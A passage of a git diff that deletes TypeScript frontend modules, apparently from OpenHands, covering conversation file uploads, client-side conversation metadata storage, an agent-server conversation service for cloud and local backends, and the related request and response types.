); - const isCloud = getActiveBackend().backend.kind === "cloud"; - - const sessionApiKey = - currentConversation?.id === conversationId - ? (currentConversation.session_api_key ?? runtime.sessionApiKey) - : runtime.sessionApiKey; - const conversationUrl = - currentConversation?.id === conversationId - ? (currentConversation.conversation_url ?? runtime.conversationUrl) - : runtime.conversationUrl; - - if (isCloud) { - const cloudRuntime = requireCloudRuntime({ - conversationUrl, - sessionApiKey, - }); - return uploadFilesToRuntime({ - files, - workingDir, - conversationUrl: cloudRuntime.conversationUrl, - sessionApiKey: cloudRuntime.sessionApiKey, - }); - } - - return uploadFilesToRuntime({ - files, - workingDir, - conversationUrl, - sessionApiKey, - }); -} - -async function uploadFilesToRuntime(options: { - files: File[]; - workingDir: string; - conversationUrl: string | null; - sessionApiKey: string | null; -}): Promise { - const { files, workingDir, conversationUrl, sessionApiKey } = options; - const workspace = new RemoteWorkspace( - getAgentServerClientOptions({ - conversationUrl, - sessionApiKey, - workingDir, - }), - ); - - const uploadFile = async (file: File) => { - try { - const safeName = getSafeUploadFileName(file.name); - // @spec WUP-001 — Build an absolute upload path that's anchored against - // the agent-server's home dir (when `workingDir` is relative) instead - // of the filesystem root. Without this, default conversations whose - // working_dir is `workspace/project/` (relative) land at - // `/workspace/project//...` on the agent-server, which on macOS - // and fresh containers is a read-only mount. - const uploadPath = await buildWorkspaceUploadPath(file.name, workingDir, { - conversationUrl, - sessionApiKey, - }); - await workspace.fileUpload(file, uploadPath); - return { uploadedFile: safeName, skippedFile: null }; - } catch (error) { - return { - uploadedFile: null, - skippedFile: { - name: file.name, - reason: error instanceof Error ? error.message : "Upload failed", - }, - }; - } - }; - - const results: Awaited>[] = []; - for (let index = 0; index < files.length; index += FILE_UPLOAD_CONCURRENCY) { - const batch = files.slice(index, index + FILE_UPLOAD_CONCURRENCY); - results.push(...(await Promise.all(batch.map(uploadFile)))); - } - - return { - uploaded_files: results.flatMap((result) => - result.uploadedFile ? [result.uploadedFile] : [], - ), - skipped_files: results.flatMap((result) => - result.skippedFile ? [result.skippedFile] : [], - ), - }; -} diff --git a/src/api/conversation-metadata-store.ts b/src/api/conversation-metadata-store.ts deleted file mode 100644 index be059b368..000000000 --- a/src/api/conversation-metadata-store.ts +++ /dev/null @@ -1,92 +0,0 @@ -import { Provider } from "#/types/settings"; -import type { PluginSpec } from "#/api/conversation-service/agent-server-conversation-service.types"; - -const STORAGE_KEY = "openhands-agent-server-conversation-metadata"; - -export type WorkspaceMode = "local_repo" | "new_worktree"; - -export interface ConversationMetadata { - selected_repository: string | null; - selected_branch: string | null; - git_provider: Provider | null; - /** - * The local workspace path the user explicitly attached at conversation - * creation time. Distinct from `selected_repository` (which is set by - * the repo picker on the home page). Used by the Files tab to decide - * whether to default to diff view: if the user attached *anything* - * (repo or local workspace), we lean diff-first because there's a real - * git baseline to compare against. - */ - selected_workspace?: string | null; - /** - * How the conversation should use `selected_workspace`. - * - * `local_repo` means the runtime should operate directly in the selected - * folder, even when it is not a git checkout. `new_worktree` preserves the - * historical agent-server behavior for conversations that should start in a - * generated per-conversation worktree. - */ - workspace_mode?: WorkspaceMode | null; - /** - * The LLM profile the conversation was created with (or last switched to). - * Client-side only. Lets the chat-header switcher show the exact profile - * name even when several profiles share the same underlying model — the - * agent-server only round-trips the model string, so matching on it alone - * is ambiguous (issue #1082). - */ - active_profile?: string | null; - /** Store plugin coordinates only; parameters may contain secrets. */ - plugins?: PluginSpec[] | null; -} - -export const toPluginCoordinates = (plugin: PluginSpec): PluginSpec => ({ - source: plugin.source, - ref: plugin.ref ?? null, - repo_path: plugin.repo_path ?? null, -}); - -type StoredMetadata = Record; - -const readAll = (): StoredMetadata => { - if (typeof window === "undefined") return {}; - try { - const raw = window.localStorage.getItem(STORAGE_KEY); - if (!raw) return {}; - const parsed = JSON.parse(raw) as unknown; - if (!parsed || typeof parsed !== "object") return {}; - return parsed as StoredMetadata; - } catch { - return {}; - } -}; - -const writeAll = (next: StoredMetadata): void => { - if (typeof window === "undefined") return; - if (Object.keys(next).length === 0) { - window.localStorage.removeItem(STORAGE_KEY); - return; - } - window.localStorage.setItem(STORAGE_KEY, JSON.stringify(next)); -}; - -export const getStoredConversationMetadata = ( - conversationId: string, -): ConversationMetadata | null => readAll()[conversationId] ?? null; - -export const setStoredConversationMetadata = ( - conversationId: string, - metadata: ConversationMetadata, -): void => { - const all = readAll(); - all[conversationId] = metadata; - writeAll(all); -}; - -export const removeStoredConversationMetadata = ( - conversationId: string, -): void => { - const all = readAll(); - if (!(conversationId in all)) return; - delete all[conversationId]; - writeAll(all); -}; diff --git a/src/api/conversation-service/agent-server-conversation-service.api.ts b/src/api/conversation-service/agent-server-conversation-service.api.ts deleted file mode 100644 index a2ac71fd0..000000000 --- a/src/api/conversation-service/agent-server-conversation-service.api.ts +++ /dev/null @@ -1,874 +0,0 @@ -import { - ConversationSortOrder, - type ForkConversationRequest, - type LLMConfig, -} from "@openhands/typescript-client"; -import { - ConversationClient, - FileClient, - ProfilesClient, - VSCodeClient, -} from "@openhands/typescript-client/clients"; -import { v4 as uuidv4 } from "uuid"; -import { AgentKind, Provider } from "#/types/settings"; -import type { ConversationRuntimeContext } from "#/api/conversation-file-upload.api"; -import { buildHttpBaseUrl } from "#/utils/websocket-url"; -import { - buildConversationWorkingDir, - getAgentServerWorkingDir, -} from "../agent-server-config"; -import { resolveAbsoluteAgentServerPath } from "../agent-server-home"; -import { - getActiveBackend, - getEffectiveLocalBackend, -} from "../backend-registry/active-store"; -import { callCloudProxy } from "../cloud/proxy"; -import ProfilesService from "../profiles-service/profiles-service.api"; -import { - batchGetCloudConversations, - createCloudAppConversation, - deleteCloudConversation, - downloadCloudConversation, - getCloudAppConversationStartTask, - readCloudConversationFile, - searchCloudConversations, - updateCloudConversationPublicFlag, -} from "../cloud/conversation-service.api"; -import { - DirectConversationInfo, - assertSubscriptionAuthReady, - buildStartConversationRequestWithEncryptedSettings, - emptyHooksResponse, - getDefaultConversationTitle, - toAppConversation, - toConversationPage, -} from "../agent-server-adapter"; -import { GetVSCodeUrlResponse } from "../open-hands.types"; -import { - getAgentServerClientOptions, - NoBackendAvailableError, -} from "../agent-server-client-options"; -import SettingsService from "../settings-service/settings-service.api"; -import { - ConversationMetadata, - getStoredConversationMetadata, - removeStoredConversationMetadata, - setStoredConversationMetadata, - type WorkspaceMode, -} from "../conversation-metadata-store"; -import { resolveTitleLlmProfile } from "#/utils/title-llm-profile"; -import type { - GetHooksResponse, - PluginSpec, - AppConversation, - AppConversationPage, - AppConversationStartRequest, - AppConversationStartTask, - MetricsSnapshot, - RuntimeConversationInfo, - SendMessageRequest, - SendMessageResponse, -} from "./agent-server-conversation-service.types"; - -const DEFAULT_CONVERSATION_TIMESTAMP = "1970-01-01T00:00:00.000Z"; -// Creating the first conversation right after a cold agent-server boot (fresh -// machine or the packaged desktop app, where uvx may still be warming caches) -// can exceed the client's 60s default timeout. -const CREATE_CONVERSATION_TIMEOUT_MS = 5 * 60 * 1000; -const INVALID_CONVERSATION_RESPONSE_MESSAGE = - "Unable to load conversations because the selected agent server returned " + - "data this UI does not understand. Check the backend URL/session key and " + - "update the agent server if needed."; -function invalidConversationResponse(): Error { - return new Error(INVALID_CONVERSATION_RESPONSE_MESSAGE); -} - -function isRecord(value: unknown): value is Record { - return typeof value === "object" && value !== null && !Array.isArray(value); -} - -function numberOrNull(value: unknown): number | null { - return typeof value === "number" ? value : null; -} - -function numberOrZero(value: unknown): number { - return typeof value === "number" ? value : 0; -} - -function stringOrNull(value: unknown): string | null { - return typeof value === "string" ? value : null; -} - -function readTimestamp( - item: Record, - snakeKey: "created_at" | "updated_at", - camelKey: "createdAt" | "updatedAt", -): string { - const value = item[snakeKey] ?? item[camelKey]; - return typeof value === "string" && value.trim() - ? value - : DEFAULT_CONVERSATION_TIMESTAMP; -} - -function normalizeTokenUsage( - value: unknown, -): NonNullable | null { - if (!isRecord(value)) return null; - - return { - prompt_tokens: numberOrZero(value.prompt_tokens), - completion_tokens: numberOrZero(value.completion_tokens), - cache_read_tokens: numberOrZero(value.cache_read_tokens), - cache_write_tokens: numberOrZero(value.cache_write_tokens), - context_window: numberOrZero(value.context_window), - per_turn_token: numberOrZero(value.per_turn_token), - }; -} - -function normalizeMetrics(value: unknown): MetricsSnapshot | null { - if (!isRecord(value)) return null; - - return { - accumulated_cost: numberOrNull(value.accumulated_cost), - max_budget_per_task: numberOrNull(value.max_budget_per_task), - accumulated_token_usage: normalizeTokenUsage(value.accumulated_token_usage), - }; -} - -function normalizeAgent(value: unknown): DirectConversationInfo["agent"] { - if (!isRecord(value)) return null; - const llm = isRecord(value.llm) - ? { model: stringOrNull(value.llm.model) } - : null; - // ``kind`` is the SDK's pydantic discriminator (``"Agent"`` vs ``"ACPAgent"``); - // ``toAppConversation`` reads it to derive ``agent_kind``. ``acp_server`` is - // the ACP provider identity (``ACPAgent.acp_server``, SDK #3692) — required so - // the adapter can source the chip + in-conversation model list from the agent - // when the ``acpserver`` tag is absent (a profile launch doesn't stamp it, - // #1571). ``acp_model`` is the Canvas-configured model — preserved so the chip - // can fall back to it when the SDK runtime model fields aren't populated. - // Preserving these makes the wire path agree with the unit-test path that - // builds ``DirectConversationInfo`` directly - // (e.g. ``__tests__/api/agent-server-adapter.test.ts``). - return { - kind: stringOrNull(value.kind), - acp_server: stringOrNull(value.acp_server), - acp_model: stringOrNull(value.acp_model), - llm, - }; -} - -function normalizeWorkspace( - value: unknown, -): DirectConversationInfo["workspace"] { - if (!isRecord(value)) return null; - return { working_dir: stringOrNull(value.working_dir) }; -} - -/** - * Accept the agent-server's ``tags: Record[str, str]`` payload defensively: - * the wire shape is guaranteed by the server-side validator (keys - * ``^[a-z0-9]+$``, string values), but a non-conforming response (older - * server, raw API write, future schema drift) must never crash the parser - * — Canvas only consumes ``acpserver`` and falls back to a generic chip - * for anything it doesn't recognize. Drop entries whose value isn't a - * plain string; return ``null`` when the wire field is absent or not an - * object so consumers can use ``info.tags?.[KEY] ?? null`` uniformly. - */ -function normalizeTags(value: unknown): Record | null { - if (!isRecord(value)) return null; - const tags: Record = {}; - for (const [key, entry] of Object.entries(value)) { - if (typeof entry === "string") { - tags[key] = entry; - } - } - return tags; -} - -function normalizeLaunchedAgentProfile( - value: unknown, -): DirectConversationInfo["launched_agent_profile"] { - if (!isRecord(value)) return null; - const { agent_profile_id: agentProfileId, revision } = value; - if (typeof agentProfileId !== "string" || typeof revision !== "number") { - return null; - } - return { agent_profile_id: agentProfileId, revision }; -} - -function normalizeAbsolutePath(path: string): string | null { - if (!path.startsWith("/")) return null; - - const segments: string[] = []; - for (const segment of path.split("/")) { - if (segment && segment !== ".") { - if (segment === "..") { - if (!segments.length) return null; - segments.pop(); - } else { - segments.push(segment); - } - } - } - - return `/${segments.join("/")}`; -} - -function requirePathInsideDirectory(path: string, directory: string): string { - const normalizedPath = normalizeAbsolutePath(path); - const normalizedDirectory = normalizeAbsolutePath(directory); - - if ( - !normalizedPath || - !normalizedDirectory || - (normalizedPath !== normalizedDirectory && - !normalizedPath.startsWith(`${normalizedDirectory}/`)) - ) { - throw new Error("Conversation file path must stay inside the workspace"); - } - - return normalizedPath; -} - -function requireDirectConversationInfo(item: unknown): DirectConversationInfo { - if (!isRecord(item) || typeof item.id !== "string" || !item.id.trim()) { - throw invalidConversationResponse(); - } - - return { - id: item.id.trim(), - title: stringOrNull(item.title), - created_at: readTimestamp(item, "created_at", "createdAt"), - updated_at: readTimestamp(item, "updated_at", "updatedAt"), - execution_status: stringOrNull(item.execution_status), - sandbox_status: stringOrNull(item.sandbox_status), - metrics: normalizeMetrics(item.metrics), - agent: normalizeAgent(item.agent), - workspace: normalizeWorkspace(item.workspace), - tags: normalizeTags(item.tags), - launched_agent_profile: normalizeLaunchedAgentProfile( - item.launched_agent_profile, - ), - // SDK-runtime ACP model fields (populated when the agent-server supports - // ``ConversationInfo.current_model_*``). Consumed by the conversation - // adapter to drive the per-card chip's model text. Older agent-servers - // omit these — adapter handles ``undefined`` / ``null`` gracefully. - current_model_id: stringOrNull(item.current_model_id), - current_model_name: stringOrNull(item.current_model_name), - }; -} - -function requireDirectConversationItems( - items: unknown, -): DirectConversationInfo[] { - if (!Array.isArray(items)) { - throw invalidConversationResponse(); - } - return items.map(requireDirectConversationInfo); -} - -function requireConversationSearchPage(page: unknown): { - items: DirectConversationInfo[]; - next_page_id: string | null; -} { - if (Array.isArray(page)) { - return { - items: requireDirectConversationItems(page), - next_page_id: null, - }; - } - - if (!isRecord(page)) { - throw invalidConversationResponse(); - } - - return { - items: requireDirectConversationItems(page.items), - next_page_id: - typeof page.next_page_id === "string" ? page.next_page_id : null, - }; -} - -const RUNTIME_STATUSES = new Set([ - "idle", - "running", - "paused", - "waiting_for_confirmation", - "finished", - "error", - "stuck", -]); - -function toRuntimeStatus( - status: DirectConversationInfo["execution_status"], -): RuntimeConversationInfo["status"] { - const nextStatus = status ?? "idle"; - return ( - RUNTIME_STATUSES.has(nextStatus) ? nextStatus : "idle" - ) as RuntimeConversationInfo["status"]; -} - -function requireAppConversation( - conversation: AppConversation | null | undefined, - conversationId: string, -): AppConversation { - if (!conversation) { - throw new Error(`Conversation ${conversationId} was not found`); - } - return conversation; -} - -class AgentServerConversationService { - static async sendMessage( - conversationId: string, - message: SendMessageRequest, - runtime?: ConversationRuntimeContext | null, - ): Promise { - const active = getActiveBackend().backend; - let conversationUrl = runtime?.conversationUrl ?? null; - let sessionApiKey = runtime?.sessionApiKey ?? null; - - if (active.kind === "cloud") { - if (!conversationUrl || !sessionApiKey) { - const [conversation] = await batchGetCloudConversations([ - conversationId, - ]); - conversationUrl = conversation?.conversation_url?.trim() ?? null; - sessionApiKey = conversation?.session_api_key?.trim() ?? null; - } - - if (!conversationUrl || !sessionApiKey) { - throw new Error( - "Conversation sandbox is still starting. Wait for it to finish, then try again.", - ); - } - - await callCloudProxy({ - backend: active, - method: "POST", - hostOverride: buildHttpBaseUrl(conversationUrl), - path: `/api/conversations/${conversationId}/events`, - body: { ...message, run: true }, - authMode: "session-api-key", - sessionApiKey, - }); - - return message; - } - - await new ConversationClient( - getAgentServerClientOptions({ conversationUrl, sessionApiKey }), - ).sendEvent(conversationId, message, { - run: true, - }); - - return message; - } - - static async createConversation( - initialUserMsg?: string, - conversationInstructions?: string, - plugins?: PluginSpec[], - metadata?: ConversationMetadata | null, - workingDirOverride?: string, - workspaceMode?: WorkspaceMode, - parentConversationId?: string, - agentType?: "default" | "plan", - sandboxId?: string, - // Launch from a saved AgentProfile (resolved server-side) instead of the - // current encrypted agent_settings (#3727). Supported on both local and the - // cloud app-server (OpenHands #15060): local threads it through the - // encrypted-settings builder; cloud sends it as a flat request field. - agentProfileId?: string, - agentProfileKind?: AgentKind, - ): Promise { - if (getActiveBackend().backend.kind === "cloud") { - // Cloud path mirrors OpenHands' frontend: build a flat - // AppConversationStartRequest, POST /api/v1/app-conversations - // (returns a WORKING task), and let the conversation route's - // useTaskPolling drive it to READY. NO encrypted-settings - // round-trip — the cloud backend holds secrets server-side. - // When launching from a profile, send `agent_profile_id`; the backend - // resolves it to agent_settings server-side. - const request: AppConversationStartRequest = { - initial_message: initialUserMsg - ? { - role: "user", - content: [{ type: "text", text: initialUserMsg }], - } - : null, - title: conversationInstructions ?? null, - selected_repository: metadata?.selected_repository ?? null, - selected_branch: metadata?.selected_branch ?? null, - git_provider: metadata?.git_provider ?? null, - plugins: plugins ?? null, - parent_conversation_id: parentConversationId ?? null, - agent_type: agentType, - sandbox_id: sandboxId ?? null, - agent_profile_id: agentProfileId ?? null, - }; - return createCloudAppConversation(request); - } - - const [settings, profiles] = await Promise.all([ - SettingsService.getSettings(), - ProfilesService.listProfiles().catch(() => undefined), - ]); - const titleLlmProfile = resolveTitleLlmProfile( - settings.title_llm_profile, - profiles, - ); - const conversationId = uuidv4(); - // @spec WUP-001 — Send an absolute working_dir to the agent-server. - // The default is `workspace/project/` (relative); without - // resolving it here, `/api/file/upload` later prepends `/` and writes - // to `/workspace/...` (read-only on macOS and fresh containers). When - // the user picks an explicit workspace, `workingDirOverride` is - // already absolute (it comes from `search_subdirs`). - const workingDir = await resolveAbsoluteAgentServerPath( - workingDirOverride ?? buildConversationWorkingDir(conversationId), - ); - const resolvedWorkspaceMode = - workspaceMode ?? (workingDirOverride ? "local_repo" : "new_worktree"); - - // Use encrypted settings to avoid exposing secrets in the browser - const payload = await buildStartConversationRequestWithEncryptedSettings({ - settings, - query: initialUserMsg, - conversationInstructions, - plugins, - conversationId, - workingDir, - worktree: resolvedWorkspaceMode === "new_worktree", - agentProfileId, - agentProfileKind, - titleLlmProfile, - }); - - const data = await new ConversationClient( - getAgentServerClientOptions({ timeout: CREATE_CONVERSATION_TIMEOUT_MS }), - ).createConversation(payload); - const localBackend = getEffectiveLocalBackend(); - if (!localBackend) throw new NoBackendAvailableError(); - - if (metadata?.selected_repository || workingDirOverride) { - // The agent-server runtime has no concept of selected repo/branch/ - // workspace, so persist the home-page selection client-side. - // `toAppConversation` reads the repo/branch fields back to hydrate - // the chat-page badges; `useHasAttachedSource` reads - // `selected_workspace` to default the Files tab to Diff mode when - // the user explicitly attached a local workspace. - setStoredConversationMetadata(data.id, { - selected_repository: metadata?.selected_repository ?? null, - selected_branch: metadata?.selected_branch ?? null, - git_provider: metadata?.git_provider ?? null, - selected_workspace: workingDirOverride ?? null, - workspace_mode: resolvedWorkspaceMode, - }); - } - - return { - id: data.id, - created_by_user_id: null, - status: "READY", - detail: null, - app_conversation_id: data.id, - agent_server_url: localBackend.host, - request: { - initial_message: payload.initial_message as - | AppConversationStartRequest["initial_message"] - | undefined, - plugins: plugins ?? null, - }, - created_at: data.created_at, - updated_at: data.updated_at, - }; - } - - static async getStartTask( - taskId: string, - ): Promise { - if (getActiveBackend().backend.kind === "cloud") { - return getCloudAppConversationStartTask(taskId); - } - // Local agent-server creates conversations synchronously — every - // local "task" is already READY when createConversation returns, so - // there's nothing to poll for. - return null; - } - - static async getVSCodeUrl( - conversationId: string, - conversationUrl: string | null | undefined, - sessionApiKey?: string | null, - ): Promise { - // Local-only path. Cloud conversations read the VSCode URL straight - // from the cloud-computed `sandbox.exposed_urls` (see - // `useUnifiedVSCodeUrl` + `useCloudSandbox`); the runtime's own - // `/api/vscode/url` only knows its internal `localhost:8001`, which - // the user's browser can't reach. - const workspaceDir = - await this.resolveConversationWorkingDir(conversationId); - // Local mode: the typescript-client targets the local agent-server - // directly via the conversationUrl override. - const vscodeUrl = await new VSCodeClient( - getAgentServerClientOptions({ - conversationUrl, - sessionApiKey, - }), - ).getUrl({ - baseUrl: - typeof window !== "undefined" ? window.location.origin : undefined, - workspaceDir, - }); - - return { vscode_url: vscodeUrl }; - } - - static async resolveConversationWorkingDir( - conversationId: string, - ): Promise { - const [conversation] = await this.batchGetAppConversations([ - conversationId, - ]); - return conversation?.workspace?.working_dir ?? getAgentServerWorkingDir(); - } - - static async batchGetAppConversations( - ids: string[], - ): Promise<(AppConversation | null)[]> { - if (ids.length === 0) return []; - - if (getActiveBackend().backend.kind === "cloud") { - return batchGetCloudConversations(ids); - } - - const data = await new ConversationClient( - getAgentServerClientOptions(), - ).getConversations(ids); - - return requireDirectConversationItems(data).map((item) => - toAppConversation(item), - ); - } - - static async updateConversationPublicFlag( - conversationId: string, - isPublic: boolean, - ): Promise { - if (getActiveBackend().backend.kind !== "cloud") { - throw new Error("Public sharing requires a cloud backend."); - } - return updateCloudConversationPublicFlag(conversationId, isPublic); - } - - static async updateConversationRepository( - conversationId: string, - repository: string | null, - branch?: string | null, - gitProvider?: string | null, - ): Promise { - if (repository) { - const existing = getStoredConversationMetadata(conversationId); - setStoredConversationMetadata(conversationId, { - ...(existing ?? {}), - selected_repository: repository, - selected_branch: branch ?? null, - git_provider: (gitProvider as Provider | null | undefined) ?? null, - }); - } else { - removeStoredConversationMetadata(conversationId); - } - const [conversation] = await this.batchGetAppConversations([ - conversationId, - ]); - return requireAppConversation(conversation, conversationId); - } - - static async readConversationFile( - conversationId: string, - filePath?: string, - ): Promise { - if (getActiveBackend().backend.kind === "cloud") { - // Cloud exposes a per-conversation file endpoint; the sandbox - // working dir is fixed (`/workspace/project`), so PLAN.md lives at - // a known absolute path. Mirrors OpenHands' readConversationFile. - const path = requirePathInsideDirectory( - filePath ?? "/workspace/project/.agents_tmp/PLAN.md", - "/workspace/project", - ); - return readCloudConversationFile(conversationId, path); - } - - const workingDir = await this.resolveConversationWorkingDir(conversationId); - const path = requirePathInsideDirectory( - filePath ?? `${workingDir}/.agents_tmp/PLAN.md`, - workingDir, - ); - return new FileClient(getAgentServerClientOptions()).downloadTextFile(path); - } - - static async downloadConversation(conversationId: string): Promise { - if (getActiveBackend().backend.kind === "cloud") { - return downloadCloudConversation(conversationId); - } - - return new FileClient(getAgentServerClientOptions()).downloadTrajectory( - conversationId, - ); - } - - static async getHooks(conversationId: string): Promise { - if (!conversationId) { - return emptyHooksResponse(); - } - return emptyHooksResponse(); - } - - static async getRuntimeConversation( - conversationId: string, - conversationUrl: string | null | undefined, - sessionApiKey?: string | null, - ): Promise { - const active = getActiveBackend().backend; - - type RawRuntime = DirectConversationInfo & { - stats?: RuntimeConversationInfo["stats"]; - }; - - // Cloud mode: route through the cloud-proxy to the runtime sandbox at - // the conversation's runtime URL — same pattern as getVSCodeUrl. Local - // mode forwards conversationUrl so the host explicitly resolves to the - // conversation's runtime instead of falling back to the active backend. - const response = - active.kind === "cloud" && conversationUrl - ? await callCloudProxy({ - backend: active, - method: "GET", - hostOverride: buildHttpBaseUrl(conversationUrl), - path: `/api/conversations/${conversationId}`, - authMode: "session-api-key", - sessionApiKey, - }) - : await new ConversationClient( - getAgentServerClientOptions({ - conversationUrl, - sessionApiKey, - }), - ).getConversation(conversationId); - const data = requireDirectConversationInfo(response); - const stats = isRecord(response) ? response.stats : null; - - return { - id: data.id, - title: data.title?.trim() - ? data.title - : getDefaultConversationTitle(data.id), - metrics: normalizeMetrics(data.metrics), - created_at: data.created_at, - updated_at: data.updated_at, - status: toRuntimeStatus(data.execution_status), - stats: isRecord(stats) ? stats : { usage_to_metrics: {} }, - }; - } - - static async searchConversations( - limit: number = 20, - pageId?: string, - ): Promise { - if (getActiveBackend().backend.kind === "cloud") { - return searchCloudConversations(limit, pageId); - } - - const data = await new ConversationClient( - getAgentServerClientOptions(), - ).searchConversations({ - limit, - page_id: pageId, - sort_order: ConversationSortOrder.UPDATED_AT_DESC, - }); - - return toConversationPage(requireConversationSearchPage(data)); - } - - static async deleteConversation(conversationId: string): Promise { - if (getActiveBackend().backend.kind === "cloud") { - await deleteCloudConversation(conversationId); - } else { - await new ConversationClient( - getAgentServerClientOptions(), - ).deleteConversation(conversationId); - } - removeStoredConversationMetadata(conversationId); - } - - static async updateConversationTitle( - conversationId: string, - title: string, - ): Promise { - await new ConversationClient( - getAgentServerClientOptions(), - ).updateConversation(conversationId, { - title, - }); - const [conversation] = await this.batchGetAppConversations([ - conversationId, - ]); - return requireAppConversation(conversation, conversationId); - } - - /** - * Forks a conversation, copying event history up to and including - * `fromEventId`. Local agent-server only; needs agent-server >= 1.31.0 for - * `from_event_id` (older backends copy the whole conversation). - */ - static async forkConversation( - sourceConversationId: string, - fromEventId: string, - title?: string, - ): Promise { - if (getActiveBackend().backend.kind === "cloud") { - throw new Error( - "Branching a conversation isn't supported on the cloud backend yet.", - ); - } - - // `from_event_id` is accepted by `/fork` but not yet typed in - // ForkConversationRequest (through client 1.32.0); the client forwards the - // body verbatim, so cast to carry it. A title also suppresses the backend - // auto-title, so the "(branch)" marker sticks. - const data = await new ConversationClient( - getAgentServerClientOptions(), - ).forkConversation(sourceConversationId, { - from_event_id: fromEventId, - ...(title ? { title } : {}), - } as ForkConversationRequest & { from_event_id: string }); - - // Carry over the source's client-side metadata (repo/branch/workspace/ - // profile/plugins) so the fork hydrates its chat-page badges the same way. - const sourceMetadata = getStoredConversationMetadata(sourceConversationId); - if (sourceMetadata) { - setStoredConversationMetadata(data.id, sourceMetadata); - } - - return data; - } - - /** - * Returns an event's `parent_id` (the fork point for branching *before* it), - * or undefined at the root. Uses the single-event endpoint because the events - * *search* API omits `parent_id`. - */ - static async getEventParentId( - conversationId: string, - eventId: string, - ): Promise { - const event = (await new ConversationClient( - getAgentServerClientOptions(), - ).getEvent(conversationId, eventId)) as { parent_id?: string | null }; - return event.parent_id ?? undefined; - } - - /** - * Switches the LLM profile for the running conversation when one is open - * (POST /switch_profile — per-conversation swap, doesn't change the user's - * default profile). When called without a conversationId (home page), - * falls back to POST /activate so the next conversation created picks up - * the chosen profile. - * - * The per-conversation endpoint accepts only the profile name, so the UI does - * not need to fetch or forward profile secrets. That keeps switching working - * even when the agent server has no OH_SECRET_KEY for encrypted secret export. - * - * Cloud backends route to the app-server's per-conversation - * `/switch_profile`, which owns the profiles and resolves the swap - * server-side (base_url/api_key fixups, usage_id derivation, then the - * agent-server's switch_llm) — so the client only forwards the profile name, - * mirroring {@link switchAcpModel}. - */ - static async switchProfile( - conversationId: string | null, - profileName: string, - ): Promise { - const { backend } = getActiveBackend(); - - if (backend.kind === "cloud") { - // No conversation (home page): activate globally so the next - // conversation starts with it. ProfilesService routes to the cloud - // activate endpoint. - if (!conversationId) { - await ProfilesService.activateProfile(profileName); - return; - } - await callCloudProxy({ - backend, - method: "POST", - path: `/api/v1/app-conversations/${conversationId}/switch_profile`, - body: { profile_name: profileName }, - }); - return; - } - - if (!conversationId) { - await new ProfilesClient(getAgentServerClientOptions()).activateProfile( - profileName, - ); - return; - } - - const clientOptions = getAgentServerClientOptions(); - const conversationClient = new ConversationClient(clientOptions); - const profile = await new ProfilesClient(clientOptions).getProfile( - profileName, - { exposeSecrets: "encrypted" }, - ); - const model = - typeof profile.config.model === "string" ? profile.config.model : ""; - if (!model) throw new Error(`Profile '${profileName}' has no model.`); - await assertSubscriptionAuthReady({ llm: profile.config }); - await conversationClient.switchLLM(conversationId, { - ...profile.config, - model, - // Keep streaming on after a switch (parity with conversation start); - // the profile config would otherwise default it to stream=False. - stream: true, - // Avoid stale first-write-wins entries in the backend LLM registry. - usage_id: `profile:${profileName}:${uuidv4()}`, - } as LLMConfig); - } - - /** - * Switches the model of a running ACP conversation in place (POST - * /switch_acp_model — the ACP analog of {@link switchProfile}'s /switch_profile). - * The agent-server calls the ACP wrapper's ``session/set_model`` on the live - * session, preserving context. Mirrors {@link switchProfile}'s - * local-backend-only guard and per-conversation ConversationClient call. - * - * Only valid once an ACP session exists (after the first message); the - * agent-server returns 409 before then — the home/no-session default is - * persisted via Settings instead (see ``use-switch-acp-model``). - */ - static async switchAcpModel( - conversationId: string, - model: string, - ): Promise { - const { backend } = getActiveBackend(); - if (backend.kind === "cloud") { - await callCloudProxy({ - backend, - method: "POST", - path: `/api/v1/app-conversations/${conversationId}/switch_acp_model`, - body: { model }, - }); - return; - } - - await new ConversationClient(getAgentServerClientOptions()).switchAcpModel( - conversationId, - model, - ); - } -} - -export default AgentServerConversationService; diff --git a/src/api/conversation-service/agent-server-conversation-service.types.ts b/src/api/conversation-service/agent-server-conversation-service.types.ts deleted file mode 100644 index 0677deb86..000000000 --- a/src/api/conversation-service/agent-server-conversation-service.types.ts +++ /dev/null @@ -1,298 +0,0 @@ -import { ConversationTrigger } from "../open-hands.types"; -import { Provider } from "#/types/settings"; -import { SuggestedTask } from "#/utils/types"; -import { ExecutionStatus } from "#/types/agent-server/core"; - -/** - * Lifecycle state of a cloud sandbox. Mirrors OpenHands' V1SandboxStatus. - * Local agent-server conversations do not carry this field (null). - */ -export type SandboxStatus = - | "PAUSED" - | "RUNNING" - | "STARTING" - | "MISSING" - | "ERROR"; - -// Plugin specification for starting conversations with plugins -export interface PluginSpec { - source: string; // Plugin source: 'github:owner/repo', git URL, or local path - ref?: string | null; // Optional branch, tag, or commit - repo_path?: string | null; // Subdirectory path within the git repository - parameters?: Record | null; // User-provided configuration values - // Client-side display label (e.g. an installed plugin's `name`). Not a - // coordinate and not required by the agent-server; used only for rendering. - name?: string | null; -} - -// V1 Metrics Types -export interface TokenUsage { - prompt_tokens: number; - completion_tokens: number; - cache_read_tokens: number; - cache_write_tokens: number; - context_window: number; - per_turn_token: number; -} - -export interface MetricsSnapshot { - accumulated_cost: number | null; - max_budget_per_task: number | null; - accumulated_token_usage: TokenUsage | null; -} - -// V1 API Types for requests -// These types match the SDK's TextContent and ImageContent formats -export interface MessageTextContent { - type: "text"; - text: string; -} - -export interface MessageImageContent { - type: "image"; - image_urls: string[]; -} - -export type MessageContent = MessageTextContent | MessageImageContent; - -type MessageRole = "user" | "system" | "assistant" | "tool"; - -export interface SendMessageRequest { - role: MessageRole; - content: MessageContent[]; -} - -export interface AppConversationStartRequest { - // Re-provision an EXISTING conversation (waking a recycled sandbox) instead - // of minting a new one. The backend keys the rebuilt conversation on this id - // and, for ACP, resumes it from the durable event store with a bootstrap - // prompt (OpenHands#14640). Omit/null to create a fresh conversation. - conversation_id?: string | null; - initial_message?: SendMessageRequest | null; - processors?: unknown[]; // EventCallbackProcessor - keeping as unknown for now - llm_model?: string | null; - selected_repository?: string | null; - selected_branch?: string | null; - git_provider?: Provider | null; - suggested_task?: SuggestedTask | null; - title?: string | null; - trigger?: ConversationTrigger | null; - pr_number?: number[]; - parent_conversation_id?: string | null; - agent_type?: "default" | "plan"; - sandbox_id?: string | null; - plugins?: PluginSpec[] | null; // Plugins to load when starting the conversation - // One-off launch from a saved AgentProfile, resolved server-side (#3727). - // Accepted by the cloud app-server (OpenHands #15060) on - // POST /api/v1/app-conversations; the local path uses the encrypted - // agent_settings builder instead, which threads its own agentProfileId. - agent_profile_id?: string | null; -} - -export type AppConversationStartTaskStatus = - | 